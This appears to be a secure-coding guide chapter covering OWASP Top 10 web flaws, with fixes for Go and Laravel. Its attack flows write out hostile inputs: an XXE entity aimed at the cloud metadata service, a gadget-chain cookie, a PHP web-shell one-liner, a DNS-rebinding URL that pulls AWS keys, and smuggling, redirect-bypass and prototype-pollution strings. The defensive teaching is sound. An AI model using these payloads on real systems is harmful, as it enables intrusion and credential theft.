Definition: A05:2021 (A02:2025) includes: default credentials (admin/admin on databases, message brokers, routers, CMS installs), debug mode in production (APP_DEBUG=true, Go net/http/pprof exposed, Spring Actuator, Django DEBUG=True), verbose errors with SQL or stack traces, directory listing (NGINX autoindex on, Apache Options +Indexes, Go http.FileServer on a directory), unnecessary features (sample apps, admin consoles), XXE (XML External Entity: an XML parser resolving <!ENTITY x SYSTEM "file:///etc/passwd"> reads files or performs SSRF), open cloud storage (public S3 buckets, Azure containers, GCS ACLs), permissive CORS, and missing security headers.
1 attacker uploads invoice.xml:
2 <?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>
3 Java/PHP parser with external entities enabled fetches the URL (XXE -> SSRF)
4 response echoes <r> content: IAM role name and keys
5 fix: disable DTDs and external entities; Go encoding/xml never resolves external entities| Product | Misconfiguration | Fix |
|---|---|---|
| Laravel | APP_DEBUG=true, APP_ENV=local in production, .env reachable | APP_DEBUG=false, web root is public/, php artisan config:cache |
| PHP | display_errors=On, expose_php=On | display_errors=Off, log_errors=On, expose_php=Off |
| PHP XML | LIBXML_NOENT / LIBXML_DTDLOAD flags on untrusted XML | Do not pass them; libxml2 2.9+ disables entity loading by default |
| Go | pprof on the public mux, http.FileServer listing directories | Separate admin listener on localhost; serve a file system without directory index |
| NGINX | autoindex on, server_tokens on | autoindex off, server_tokens off |
| AWS S3 | Bucket policy Principal: "*" | Block Public Access on account level, CloudFront with origin access control |
| Databases, brokers | Default users (RabbitMQ guest, Elasticsearch without auth) | Remove defaults, bind to private networks |
Fix / how to use it: Configuration as code reviewed like code; a CI check that fails on APP_DEBUG=true in production manifests; the headers middleware.
Security headers: HSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy, frame-ancestors Must-know
In plain words: A handful of response headers switch on browser protections that are off by default. They cost nothing per request and close whole classes of attack.
Common misunderstanding: "X-XSS-Protection: 1; mode=block protects against XSS." The OWASP HTTP Headers Cheat Sheet recommends X-XSS-Protection: 0: the old filter is removed from modern browsers and could itself be abused.
Definition and values (OWASP HTTP Headers Cheat Sheet recommendations):
| Header | Value | What it does |
|---|---|---|
Strict-Transport-Security (HSTS) | max-age=63072000; includeSubDomains; preload | Browser refuses plain HTTP for two years |
Content-Security-Policy | nonce + strict-dynamic, object-src 'none', base-uri 'none', frame-ancestors 'none' | Script allowlist, framing control |
X-Content-Type-Options | nosniff | No MIME sniffing: a text/plain upload is never run as script |
Referrer-Policy | strict-origin-when-cross-origin | No full URLs (with tokens) to other sites |
Permissions-Policy | camera=(), microphone=(), geolocation=() | Disables powerful features for the page and iframes |
X-Frame-Options | DENY | Legacy framing control; "obsoleted by the frame-ancestors CSP directive" |
X-XSS-Protection | 0 | Turns the legacy filter off |
Cross-Origin-Opener-Policy | same-origin | Isolates the window from cross-origin openers |
Cache-Control on private pages | no-store | Shared caches and back button do not keep personal data |
Server, X-Powered-By | remove | Less fingerprinting |
Fix / how to use it: Go headers.Secure; Laravel SecurityHeaders appended to the web group; or set them once at the edge (NGINX add_header ... always, Cloudflare Transform Rules, AWS CloudFront response headers policy). Verify with curl -sI.
A06 Vulnerable and outdated components: SCA, Dependabot, Renovate, SBOM Must-know
In plain words: Your code is fine, but a library, base image or plugin you ship has a published vulnerability, and the attacker reads the same advisory you ignored.
Common misunderstanding: "The scanner reports 300 CVEs, so we are 300 times vulnerable." Most findings are in code you never call. Tools that check reachability (govulncheck "only surfaces vulnerabilities that actually affect you, based on which functions in your code are transitively calling vulnerable functions") turn noise into a short list.
Definition: SCA (software composition analysis) compares your dependency graph with advisory databases (GitHub Advisory Database, OSV, the Go vulnerability database, Packagist security advisories, NVD). Tools: govulncheck ./...; composer audit (it "checks for and lists security vulnerability advisories using the Packagist.org API by default" and exits 1 when it finds packages matching the policies); npm audit; GitHub Dependabot (alerts and update PRs); Renovate (update PRs with grouping, schedules and automerge); Trivy/Grype for container images. An SBOM (software bill of materials, CycloneDX or SPDX) records exactly what shipped, so the next advisory is a query, not an investigation. In 2025 this became A03 Software Supply Chain Failures, covering also build systems, IDE extensions and distribution infrastructure.
| Ecosystem | Audit | Auto-update | SBOM |
|---|---|---|---|
| Go | govulncheck ./... (call-graph reachability) | Dependabot gomod, Renovate | cyclonedx-gomod, Syft |
| PHP / Laravel | composer audit, composer audit --locked | Dependabot composer, Renovate | cyclonedx/cyclonedx-php-composer |
| JavaScript | npm audit, pnpm audit | Dependabot npm, Renovate | @cyclonedx/cyclonedx-npm |
| Containers | Trivy, Grype, Docker Scout | Renovate (Dockerfile digests) | Syft, BuildKit SBOM attestations |
Fix / how to use it: Fail CI on reachable high and critical findings; weekly update PRs with tests; pin by lock files and image digests; keep an SBOM per release. The pipeline side is in Secure SDLC.
A07 Identification and authentication failures Important
In plain words: Logging in, staying logged in or recovering an account can be done by someone who is not the user.
Common misunderstanding: "Strong password rules fix authentication." Credential stuffing uses real passwords leaked elsewhere; what stops it is MFA, rate limiting and breached-password checks.
Definition: Credential stuffing and brute force without throttling, weak recovery (security questions, reset tokens that do not expire), session fixation, session ids in URLs, missing rotation on login, tokens accepted after logout, JWT alg: none or unverified signatures. The 2025 name is "Authentication Failures".
| Failure | Fix | Where |
|---|---|---|
| No throttling | Per-account and per-IP limits | Rate limiting |
| Password storage | Argon2id/bcrypt | Authentication |
| Session fixation, no rotation | Regenerate id on login | Web sessions |
| JWT not verified | Verify signature, alg, aud, exp | JWT deep dive |
Fix / how to use it: Laravel RateLimiter::for('login', ...) and starter kits with MFA; Go x/time/rate per key. Detail lives in the linked chapters.
A08 Software and data integrity failures: insecure deserialization, gadget chains, SRI, CI/CD Must-know
In plain words: The system accepts code or objects without checking that they come from someone it trusts: a serialized PHP object in a cookie, a script from a CDN that changed, a build step that pulls an unpinned plugin.
Common misunderstanding: "unserialize($x, ['allowed_classes' => false]) makes it safe." The PHP manual: "Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes." Parsing native object formats from strangers also invites memory and CPU exhaustion.
Definition: Insecure deserialization (CWE-502): a native format (PHP serialize, Java ObjectInputStream, Python pickle, .NET BinaryFormatter, Ruby Marshal) recreates objects of any loaded class; magic methods (__wakeup, __destruct, __toString in PHP; readObject in Java) run during or after decoding; a gadget chain is a sequence of such methods in libraries you already ship (Laravel, Monolog, Guzzle chains are catalogued in phpggc) that ends in file writes or code execution. Go's encoding/gob does not instantiate arbitrary types, but its docs warn it "is not designed to be hardened against adversarial inputs". Signed payloads: if data must round-trip through the client, use JSON plus an HMAC and verify before parsing. CI/CD integrity: pinned actions and images by digest, protected branches, least-privilege CI tokens, signed artifacts (Sigstore cosign), provenance (SLSA). SRI (Subresource Integrity): <script src="https://cdn.example/lib.js" integrity="sha384-..." crossorigin="anonymous">; the browser refuses a file whose hash changed.
1 app stores cart in cookie: base64(serialize($cart))
2 attacker builds a payload with phpggc for a gadget chain in a vendor library
3 cookie = base64(O:40:"Some\Vendor\Class":1:{...})
4 unserialize() instantiates the object; __destruct() writes public/shell.php
5 GET /shell.php?cmd=id -> remote code execution
6 fix: JSON + HMAC verified before decode, or keep the cart server-side| Format | Instantiates arbitrary classes? | Safe use with untrusted input |
|---|---|---|
PHP serialize/unserialize | Yes (autoloading) | Never |
Laravel encrypted cookies / Crypt | Encrypted and MACed with APP_KEY | Only while APP_KEY stays secret (debug page leaks break it) |
Java ObjectInputStream | Yes | Never without an allowlist filter (JEP 290) |
Python pickle | Yes | Never |
Go encoding/gob | No (only registered types) | Size-limit input; prefer JSON or protobuf across trust boundaries |
| JSON, protobuf | No (data only) | Yes, with schema validation |
Fix / how to use it: Go signed; Laravel SignedPayload. Laravel's Vite integration adds integrity attributes when the manifest contains hashes (vite-plugin-manifest-sri). Serialization formats in general: Serialization formats.
A09 Security logging and monitoring failures; log injection Must-know
In plain words: The attack is happening and nothing records it, or it is recorded and nobody is alerted, or the log itself is a new leak (passwords and tokens in logs) or a new attack surface (forged lines).
Common misunderstanding: "We log everything." Logging everything without structure means passwords and session ids in logs and no alert rule that can count "failed logins per account". The 2025 rename says it: "Great logging with no alerting is of minimal value in identifying security incidents."
Definition: Log what an investigator needs: authentication success and failure, authorization failures, input validation failures that indicate probing, admin actions, changes to permissions, high-value business events, with timestamp, user, source IP, request id, outcome. Never log passwords, session ids, full tokens, card numbers, or more PII than needed (OWASP Logging Cheat Sheet). Log injection (CWE-117): CR/LF in input forges extra lines in text logs, or injects markup into a log viewer (stored XSS against the SOC). Structured JSON logs escape values; viewers must encode output.
1 username = "ana\n2026-11-26T10:00:00Z INFO login ok user=admin"
2 text log: login failed user=ana
3 2026-11-26T10:00:00Z INFO login ok user=admin <- forged line
4 JSON log: {"msg":"auth.login_failed","user":"ana\n2026-...admin"} one record
5 alert: count(auth.login_failed by user) > 20 in 5 min -> page| Event | Fields | Alert |
|---|---|---|
auth.login_failed | user, ip, reason, request_id | > 20 per account or > 200 per IP in 5 min |
authz.denied | user, resource, action | spike vs baseline (IDOR probing) |
csrf.rejected / csp.violation | route, origin, directive | new route or sudden volume |
admin.role_changed | actor, target, old, new | every occurrence to a channel |
ssrf.blocked | user, host, resolved ip | any metadata-range attempt |
Fix / how to use it: Go logsafe uses log/slog JSON with redaction; Laravel Log::withContext([...]) with a JSON formatter. The pipeline and alert design are in Observability and Alerting that works.
A10 Server-side request forgery (SSRF): metadata endpoints, DNS rebinding, allowlists, egress Must-know
In plain words: A feature fetches a URL the user supplies (webhook tester, link preview, "import from URL", PDF renderer), and the attacker points it at things only your server can reach.
Common misunderstanding: "We check that the host name is on an allowlist." The OWASP SSRF cheat sheet: "Domain allowlisting alone does not prevent DNS rebinding." The name can resolve to a public IP when you check and to 127.0.0.1 when you connect; redirects from an allowed host can lead anywhere.
Definition: SSRF (CWE-918; A10:2021, part of A01:2025) makes your server send a request to a destination the attacker chose. Targets: cloud metadata endpoints (AWS, GCP and Azure all use 169.254.169.254; AWS also fd00:ec2::254; ECS task credentials at 169.254.170.2), localhost admin ports (Redis 6379, Elasticsearch 9200, the Docker API), internal services without authentication, and other schemes (file://, gopher://). DNS rebinding: a malicious DNS server answers with a short TTL, first a public address, then an internal one. Defences: an allowlist of hosts where the feature permits it; scheme https only; reject userinfo and odd ports; resolve and check every address against private, loopback, link-local, CGNAT and documentation ranges after unmapping IPv4-mapped IPv6; make the client connect only to the validated address (a dialer check or pinned resolution); re-check redirects or disable them; cap response size and time; and at the network layer, egress control (an outbound proxy or firewall that only allows what the feature needs) plus AWS IMDSv2.
Attacker App (link preview) Network
1 url = https://rebind.evil.example/
2 resolve: 198.51.100.20 (public) -> URL check passes
3 connect: second lookup, TTL 0 -> 169.254.169.254
4 GET /latest/meta-data/iam/security-credentials/
5 preview shows temporary AWS keys (SSRF via DNS rebinding)
6 fix: check the IP inside the dialer (no second lookup); IMDSv2 needs a PUT token with hop limit 1; egress blocks 169.254.0.0/16| Layer | Control | Product |
|---|---|---|
| Application | Scheme/host/port checks, IP check at connect time, redirect re-check, size and time caps | Go net.Dialer.Control; Laravel Http::withOptions(['allow_redirects' => false, 'curl' => [CURLOPT_RESOLVE => ...]]) |
| Metadata service | Session token required (PUT /latest/api/token with X-aws-ec2-metadata-token-ttl-seconds), hop limit 1 | AWS IMDSv2; GCP requires Metadata-Flavor: Google; Azure requires Metadata: true |
| Network | Egress allowlist, no route from the fetcher to internal subnets | Security groups, Kubernetes NetworkPolicy, an egress proxy such as Squid or Envoy |
| Process | Fetcher in its own service without credentials | Separate IAM role with no permissions |
Real scenario: the Capital One 2019 breach is widely described as SSRF to the EC2 metadata service; we did not fetch a primary Capital One source, so treat the detail as secondary. Webhook "test delivery" buttons, Open Graph previews in chat apps, SVG and PDF renderers fetching remote images, and XXE are the usual entry points.
Fix / how to use it: Go ssrf.Policy validates the URL, then checks the exact IP in net.Dialer.Control, so rebinding fails; Laravel SafeHttpClient resolves, checks every A/AAAA answer and pins the connection with CURLOPT_RESOLVE. Network-level egress is in DDoS and network security and Firewalls.
A10:2025 Mishandling of exceptional conditions: failing open Good to know
In plain words: When something unusual happens (a timeout, a null, a parse error, a full disk), the code takes a path nobody designed, and that path skips a security check.
Common misunderstanding: "An exception means the request failed safely." A catch that logs and continues, an authorization service whose timeout means "allow", or a half-applied transaction are all exceptional paths that end in an insecure state.
Definition: New in 2025 with 24 CWEs: improper error handling, failing open, logic errors on abnormal states, unchecked return values, resource exhaustion. The 2025 text: "If you are part way through a transaction of any kind, it is extremely important that you roll back every part of the transaction and start again (also known as failing closed)", and "Nothing in information technology should be limitless".
| Fail-open smell | Fail-closed version |
|---|---|
if err != nil { log; return true } in an authz check | Return false/403 on any error |
| Policy service timeout means allow | Timeout means deny, with a cached last-known policy if availability needs it |
| Partial money movement after an exception | One transaction, rollback, idempotent retry |
| Unlimited body, unlimited JSON depth | MaxBytesReader, decoder limits, timeouts |
| Error page shows stack trace | Generic message, details only in logs |
Fix / how to use it: Go: every security decision returns an error that the caller must treat as deny; Laravel: DB::transaction, a global exception handler with APP_DEBUG=false. Related: Timeouts, retries and jitter.
CSRF: synchronizer token, SameSite, Fetch Metadata Must-know
In plain words: The browser attaches your cookies to any request to your site, even one an attacker's page triggered; CSRF is making the victim's browser send a state-changing request they never intended.
Common misunderstanding: "SameSite=Lax solved CSRF." It covers cross-site POSTs in modern browsers, not same-site attackers (a compromised sibling subdomain), GET requests that change state, or older clients. OWASP still treats tokens as essential for cookie-authenticated apps.
Definition: CSRF (CWE-352, rank 3 in CWE Top 25 2025; a member of A01:2021) abuses ambient credentials. Defences: reject cross-origin unsafe requests using Sec-Fetch-Site or Origin; a synchronizer token (random per session, stored server-side, sent in a hidden field or header); the signed double-submit cookie for stateless apps; SameSite cookies as defence in depth; never change state on GET. Laravel 13's PreventRequestForgery middleware "first checks the Sec-Fetch-Site header" and, if that does not pass, "falls back to traditional CSRF token validation"; a token mismatch answers 419, origin-only mode 403.
1 victim logged in to bank.example
2 victim visits evil.example: <form action=https://bank.example/transfer method=POST> auto-submits
3 browser: Sec-Fetch-Site: cross-site, Origin: https://evil.example, cookie (if SameSite=None)
4 guard: Sec-Fetch-Site cross-site and origin untrusted -> 403
5 older browser without Sec-Fetch-Site: no _token field (attacker cannot read it) -> 419| Defence | Laravel 13 | Go |
|---|---|---|
| Fetch Metadata / Origin | PreventRequestForgery layer 1; preventRequestForgery(allowSameSite: true) | csrf.Guard here; Go 1.25+ http.CrossOriginProtection |
| Synchronizer token | @csrf, _token, X-CSRF-TOKEN, X-XSRF-TOKEN | csrf.Guard fallback with subtle.ConstantTimeCompare |
| SameSite | same_site in config/session.php | http.SameSiteLaxMode |
| Exclusions | preventRequestForgery(except: ['webhooks/payments']) | route outside the guard, signature checked |
Fix / how to use it: Go csrf.Guard; Laravel bootstrap/app.php. Cookie and SameSite mechanics: Web sessions and CORS.
Clickjacking Important
In plain words: The attacker loads your page in an invisible iframe on top of a decoy, so the victim's click lands on your real "Delete account" or "Approve payment" button.
Common misunderstanding: "We use frame-busting JavaScript." Sandboxed iframes and other tricks defeat frame-busting scripts; the browser-enforced header is the fix.
Definition: UI redressing. The OWASP Clickjacking Defense Cheat Sheet recommends Content-Security-Policy: frame-ancestors 'none' (or 'self' or a list of trusted hosts) and X-Frame-Options: DENY for old browsers; SameSite cookies reduce the impact because a cross-site frame does not get Lax cookies.
1 evil.example: <iframe src="https://bank.example/settings" style="opacity:0;position:absolute;top:0">
2 under it: a big "Claim your prize" button aligned with "Close account"
3 victim clicks -> click goes to bank.example in the frame, with the victim's session
4 fix: frame-ancestors 'none' -> the browser refuses to render bank.example in the frame| Need | Header |
|---|---|
| Never framed | frame-ancestors 'none' + X-Frame-Options: DENY |
| Framed by own origin | frame-ancestors 'self' + X-Frame-Options: SAMEORIGIN |
| Embeddable widget | frame-ancestors https://partner.example; confirm sensitive actions outside the frame |
Fix / how to use it: Both header middlewares in this chapter send frame-ancestors 'none' and X-Frame-Options: DENY.
Open redirect Important
In plain words: A parameter such as ?next= or ?return_to= sends users wherever it says, so a link that starts with your trusted domain ends on a phishing page.
Common misunderstanding: "It is only a redirect, no data is exposed." Open redirects make phishing believable, leak OAuth codes and tokens when used as redirect_uri, and bypass SSRF allowlists (PortSwigger shows SSRF filters bypassed "via open redirection").
Definition: CWE-601. The fix is to accept only local paths (start with /, not //, no backslash, no scheme or host, no control characters), or map an id to a stored destination, or keep an exact allowlist of external URLs; for OAuth, exact redirect_uri matching.
1 attacker mails: https://bank.example/login?next=https://bank-example.evil.example/2fa
2 victim logs in on the real site, is redirected to the clone, types the 2FA code there
3 variants that bypass naive checks: //evil.example, /\evil.example, https:evil.example, /%0d%0aLocation:...
4 fix: SafeNext() -> only /local/paths, otherwise /dashboard| Input | Safe? |
|---|---|
/orders/42?tab=items | yes |
https://evil.example/, //evil.example/, /\evil.example | no |
javascript:alert(1) | no |
Fix / how to use it: Go redirect.SafeNext; Laravel SafeRedirect::target (Laravel's redirect()->intended() uses a URL stored in the session by the framework, which is safer than a query parameter).
Mass assignment: $fillable, $guarded, Go struct binding Must-know
In plain words: The framework copies every field of the request into the model, so the client can set fields the form never showed: role, is_admin, balance, tenant_id.
Common misunderstanding: "The field is not in the HTML form, so nobody can send it." Anyone can add JSON keys; the form is a suggestion. OWASP lists the alternative names: "Mass Assignment: Ruby on Rails, NodeJS. Autobinding: Spring MVC, ASP NET MVC. Object injection: PHP."
Definition: Binding request parameters straight into persistence objects. Laravel: "all Eloquent models are protected against mass assignment vulnerabilities by default"; you declare the allowlist with the Fillable attribute (Laravel 13: #[Fillable(['name'])]; older apps use the $fillable property) or a denylist with Guarded/$guarded, and Unguarded turns protection off. Attributes outside the allowlist are silently discarded; Model::preventSilentlyDiscardingAttributes() makes that an exception during development. Go: json.Decode into the persistence struct binds every exported field with a matching tag; the fix is an input struct, DisallowUnknownFields, and explicit copying.
1 PATCH /me {"name":"Ana","role":"admin"}
2 before: $user->update($request->all()) with role fillable or model unguarded -> role = admin
3 before (Go): json.Decode(&user) -> Role = "admin"
4 after: $request->safe()->only(['name','bio','website']) + Fillable without role -> role unchanged
5 after (Go): ProfileInput + DisallowUnknownFields -> 400 unknown field "role"| Framework | Allowlist | Trap |
|---|---|---|
| Laravel 13 | #[Fillable([...])], $request->validated(), safe()->only() | #[Unguarded], $request->all(), forceFill with input |
Go encoding/json | Input DTO, DisallowUnknownFields | Decoding into the DB model; embedded structs exposing fields |
| Go Gin/Echo binding | Bind into DTO with binding tags | ShouldBind(&model) |
| Rails | Strong parameters permit | permit! |
| Spring | @InitBinder setAllowedFields, DTOs | Binding entities directly |
Fix / how to use it: Go massassign; Laravel User model and ProfileController.
Race conditions, TOCTOU and double spend Must-know
In plain words: The code checks ("is the balance enough? is the coupon unused?") and then acts in a separate step; two requests arriving together both pass the check before either acts.
Common misunderstanding: "Requests are fast, the window is microseconds." Attackers widen and align windows on purpose: PortSwigger's research on single-packet attacks sends 20 to 30 requests in one TCP packet so they arrive together; "limit overrun race conditions" are their name for redeeming one gift card or discount several times.
Definition: TOCTOU (time-of-check to time-of-use), CWE-367. In business logic: double spend of a balance, coupon or gift card reuse, exceeding a rate or quota, two accounts with one invite, voting twice. Fixes: make the check part of the write (atomic conditional UPDATE ... WHERE balance >= $1, then check affected rows), unique constraints (one redemption per coupon), row locks (SELECT ... FOR UPDATE), serializable isolation with retries, idempotency keys for retried requests, and distributed locks with fencing tokens when the state is outside one database.
Request A Request B
1 SELECT balance FROM accounts WHERE id=7 -> 100
2 SELECT balance FROM accounts WHERE id=7 -> 100
3 100 >= 100 ok
4 100 >= 100 ok
5 UPDATE accounts SET balance = 0 WHERE id=7
6 UPDATE accounts SET balance = 0 WHERE id=7
7 paid 100 paid 100 -> 200 paid out of 100 (double spend)
8 fix: UPDATE accounts SET balance = balance - 100 WHERE id = 7 AND balance >= 100; -- B gets 0 rows| Mechanism | Works in | Cost |
|---|---|---|
| Atomic conditional update | One database row | Must express the rule in WHERE |
| Unique constraint | One-time actions (coupon redemption, invite) | Handle duplicate-key error |
SELECT ... FOR UPDATE | Multi-row rules in one database | Lock waits, deadlock ordering |
| Serializable + retry | Complex invariants | Retries on 40001 |
| Idempotency key | Client retries | Key storage and TTL |
| Distributed lock + fencing token | State across services | Lock service; fencing needed for safety |
Fix / how to use it: SQL in the block above and in Solving; Go wallet; Laravel TransferController (unique idempotency key + conditional decrement). Depth: Isolation levels, API idempotency, Distributed locking.
File upload vulnerabilities Must-know
In plain words: An upload is untrusted bytes plus an untrusted name plus an untrusted type. Each can become code (a .php file in a served directory), a path (../../), a script (SVG or HTML served from your origin), or a bomb (a small file that expands to gigabytes).
Common misunderstanding: "We check the Content-Type header." The OWASP File Upload Cheat Sheet: "The Content-Type for uploaded files is provided by the user, and as such cannot be trusted, as it is trivial to spoof." Extension checks alone fail the same way; Laravel's docs say never to rely on the user-assigned extension alone.
Definition: Controls from the cheat sheet, in order: list allowed extensions; validate the type from content (magic bytes, then decode); "Change the filename to something generated by the application"; "Set a file size limit"; store "outside of the webroot" or on a different host or bucket; serve with X-Content-Type-Options: nosniff, Content-Disposition: attachment and a correct type (no content sniffing); re-encode images and strip metadata; cap decoded dimensions to stop an image bomb (pixel flood: a tiny PNG declaring 50,000 x 50,000 pixels needs 10 GB of RAM to decode); limit archives (zip bombs, zip slip ../ entries, gosec G305); scan with an antivirus if users download each other's files.
1 upload avatar.png containing "<?php system($_GET['c']);" (Content-Type: image/png, sent by the client)
2 app trusts extension and header, saves to public/uploads/avatar.php? (name from client)
3 GET /uploads/avatar.php?c=id -> web shell
4 pixel flood: 60-byte PNG, IHDR 50000 x 50000 -> image library allocates 2.5 G pixels -> OOM
5 fix: sniff -> allowlist png/jpeg; DecodeConfig -> width*height <= 25 M; random name; private bucket; nosniff| Threat | Control | Go | Laravel 13 |
|---|---|---|---|
| Wrong type | Sniff content | http.DetectContentType + image.DecodeConfig | File::image() (reads content), mimes, mimetypes |
| SVG/HTML with script | Disallow or sanitise; serve from another domain | not in allowlist | File::image() rejects SVG unless allowSvg: true |
| Huge file | Size cap before parsing | http.MaxBytesReader | ->max('5mb'), upload_max_filesize, post_max_size |
| Image bomb | Pixel budget from the header | cfg.Width * cfg.Height check | Rule::dimensions()->maxWidth()->maxHeight() |
| Path / name | Server-generated name | random hex + sniffed ext, os.Root | store() uses hashName(); never storeAs with user names |
| Execution | Outside web root, separate domain | os.Root directory not served | private s3 disk, temporaryUrl |
Fix / how to use it: Go upload; Laravel UploadAvatarRequest and AvatarController. The filesystem docs: "Never derive the filename argument of storeAs or putFileAs from user-supplied input." Storage design: Object storage.
HTTP request smuggling and header injection Important
In plain words: A front end (CDN, load balancer, reverse proxy) and a back end read the same bytes but disagree where one request ends, so the attacker hides a second request inside the first; the hidden request is then glued onto the next user's request.
Common misunderstanding: "Our framework parses HTTP correctly, so we are safe." Smuggling is a disagreement between two parsers; each can be "correct" on its own. PortSwigger: "Request smuggling is primarily associated with HTTP/1 requests", but HTTP/2 front ends that downgrade to HTTP/1.1 reintroduce it.
Definition: CL.TE: "the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header"; TE.CL the reverse; TE.TE with obfuscated Transfer-Encoding; H2.CL/H2.TE after downgrading; CL.0 when the back end ignores a body. Prevention (PortSwigger): "Use HTTP/2 end to end and disable HTTP downgrading if possible", make the front end normalise and the back end reject ambiguous requests and close the connection. Header injection / response splitting (CWE-113): CR/LF from input inside a header value (Location, Set-Cookie, custom headers) adds headers or a body; Go's net/http refuses invalid header values and PHP's header() rejects multiple lines, but hand-built responses, log lines and email headers (To: with \r\nBcc:) remain vulnerable.
1 POST / HTTP/1.1
2 Host: shop.example
3 Content-Length: 13 <- front end (CL) forwards 13 bytes
4 Transfer-Encoding: chunked <- back end (TE) reads the chunked body
5
6 0
7
8 SMUGGLED <- back end treats this as the start of the NEXT request
9 next victim's request is appended to "SMUGGLED", e.g. GET /admin with their cookies| Layer | Control |
|---|---|
| Edge (Cloudflare, AWS ALB, NGINX, HAProxy, Envoy) | Reject requests with both CL and TE, normalise, prefer HTTP/2 to the origin; ALB routing.http.drop_invalid_header_fields.enabled, desync mitigation mode strictest |
| Application server | Up-to-date server (Go net/http, PHP-FPM behind NGINX); do not reuse back-end connections after parse errors |
| Code | Never put raw input in header values; strip CR/LF; use framework APIs (http.Redirect, redirect()) |
Fix / how to use it: The proxy side is in Forward vs reverse proxies and HTTP evolution; redirect.SafeNext rejects CR/LF.
Prototype pollution Good to know
In plain words: In JavaScript, merging attacker JSON into an object can set a property on Object.prototype, which then appears on every object in the process, such as isAdmin on every user.
Common misunderstanding: "This is a front-end bug only." Node.js back ends (Express middleware, merge utilities, template engines) turn it into privilege escalation or RCE; in the browser it becomes DOM XSS via script gadgets.
Definition: CWE-1321. A recursive merge of {"__proto__": {"isAdmin": true} } or {"constructor": {"prototype": {...} } } writes to the shared prototype. Fixes from the OWASP Prototype Pollution Prevention Cheat Sheet: create objects with Object.create(null) or use Map, freeze Object.prototype, reject __proto__/constructor/prototype keys in schema validation, and run Node with --disable-proto=delete. Go and PHP do not have this class (no shared mutable prototype), but a Laravel or Go back end that serves a vulnerable SPA or a Node BFF inherits it.
1 POST /settings {"__proto__": {"isAdmin": true} }
2 server: merge(defaults, body) -> Object.prototype.isAdmin = true
3 later: if (user.isAdmin) { ... } -> true for every user without own isAdmin| Language | Exposure |
|---|---|
| JavaScript / Node.js | Yes: merges, query-string parsers, lodash.merge (old versions) |
| Go, PHP | No prototype chain; analogous risk is mass assignment |
Fix / how to use it: Schema validation on every JSON body; Node --disable-proto=delete; SCA for vulnerable merge libraries.
Business-logic abuse and rate limiting Important
In plain words: Every request is valid HTTP, authenticated and authorised, but the sequence or the volume breaks the business: scraping prices, enumerating gift cards, buying all tickets with bots, skipping a checkout step.
Common misunderstanding: "A WAF will catch it." A WAF matches payload patterns; abuse has no malicious payload.
Definition: Abuse of intended functionality: skipping steps of a workflow (go straight to /checkout/confirm), negative quantities, currency rounding, unlimited free trials, enumeration of codes, automated purchasing. Controls: server-side state machines for workflows, invariants checked in the domain (quantity > 0, price from catalogue), rate limits and quotas per account/IP/device, bot management, idempotency, and monitoring of business metrics (redemptions per minute).
1 POST /cart/items {"sku":"A","qty":-5} -> negative line, total goes down
2 POST /checkout/confirm without /checkout/pay -> order confirmed unpaid (step skipped)
3 10,000 POST /giftcards/check {"code":...} -> valid codes enumerated
4 fix: domain rules (qty > 0, state machine), per-account rate limit, alert on redemption spikes| Abuse | Control |
|---|---|
| Enumeration (codes, users) | Rate limit + uniform responses + long random codes |
| Step skipping | Server-side workflow state |
| Negative or huge values | Domain validation, database CHECK constraints |
| Bots buying inventory | Queue/lottery, per-account limits, bot detection |
Fix / how to use it: Algorithms and distributed limits: Rate limiting; shedding under load: Load shedding.
Mechanics
The exact knobs
| Knob | Where | Value used in this chapter |
|---|---|---|
APP_DEBUG | Laravel .env → config/app.php 'debug' => (bool) env('APP_DEBUG', false) | false in production |
APP_ENV | Laravel .env | production |
display_errors, expose_php | php.ini | Off, Off |
PreventRequestForgery | Laravel bootstrap/app.php | default web group; except: ['webhooks/payments'] |
Model::preventSilentlyDiscardingAttributes() | Laravel AppServiceProvider | $this->app->isLocal() |
Vite::useCspNonce() | Laravel middleware | per request |
File::image()->max('5mb')->dimensions(...) | Laravel form request | 5 MB, 4000 x 4000 |
upload_max_filesize, post_max_size | php.ini | 6M, 8M (slightly above the rule) |
http.MaxBytesReader | Go handler | 16 KiB JSON, 5 MiB + 64 KiB multipart |
json.Decoder.DisallowUnknownFields | Go | on for every input DTO |
net.Dialer.Control | Go SSRF client | IP check on the resolved address |
http.Transport.Proxy | Go SSRF client | nil (no environment proxy) |
CheckRedirect | Go SSRF client | max 3, each re-checked |
os.OpenRoot | Go 1.24+ | one root per served directory |
| CSP nonce length | both | 16 random bytes, base64 |
HSTS max-age | both | 63072000 (2 years), includeSubDomains; preload |
IMDSv2 HttpTokens / hop limit | AWS EC2 | required / 1 |
| Token length | Go csrf.NewToken | 32 random bytes, base64url |
Status codes and error messages
| Where | Status or text | Meaning | Fix |
|---|---|---|---|
| Laravel | 419 Page Expired | CSRF token missing or mismatched | Send _token / X-CSRF-TOKEN / X-XSRF-TOKEN |
| Laravel origin-only mode | 403 | Sec-Fetch-Site check failed | Trusted origin or allowSameSite: true |
| Laravel validation | 422 Unprocessable Content | Rule::in, File::image(), string failed | Expected for attacks; log at info |
Laravel Gate::authorize | 403 AuthorizationException | Policy denied | Correct; return 404 for objects the user may not know exist |
Laravel MassAssignmentException | "Add [role] to fillable property..." | Unguarded write attempt in dev mode | Add to allowlist only if users may set it |
Go os.Root | openat ../secret.env: path escapes from parent | Traversal attempt | Return 400/404 |
Go html/template | #ZgotmplZ in output | Unsafe value in URL/CSS context was replaced | Validate URLs before rendering |
Go encoding/json | json: unknown field "role" | Client sent a field not in the DTO | 400; consider logging as probing |
| Go SSRF guard | ssrf: destination not allowed: 169.254.169.254:80 | Metadata or private address | 400 without details to the caller |
| PostgreSQL | ERROR: syntax error at or near "'" (SQLSTATE 42601) | Typical response to a quote injected into concatenated SQL | Find the concatenation; alert on bursts |
| MySQL | ERROR 1064 (42000): You have an error in your SQL syntax | Same, MySQL | Same |
| PostgreSQL | canceling statement due to statement timeout after pg_sleep | Time-based blind injection probe | statement_timeout, fix the query |
| Browser console | Refused to execute inline script because it violates the following Content Security Policy directive | CSP blocked a script | Add nonce to legitimate scripts; inspect reports |
| Browser console | This document requires 'TrustedHTML' assignment | Trusted Types blocked an innerHTML string | Route through a policy with a sanitiser |
| Browser console | Refused to display ... in a frame because an ancestor violates ... frame-ancestors | Clickjacking protection working | Expected |
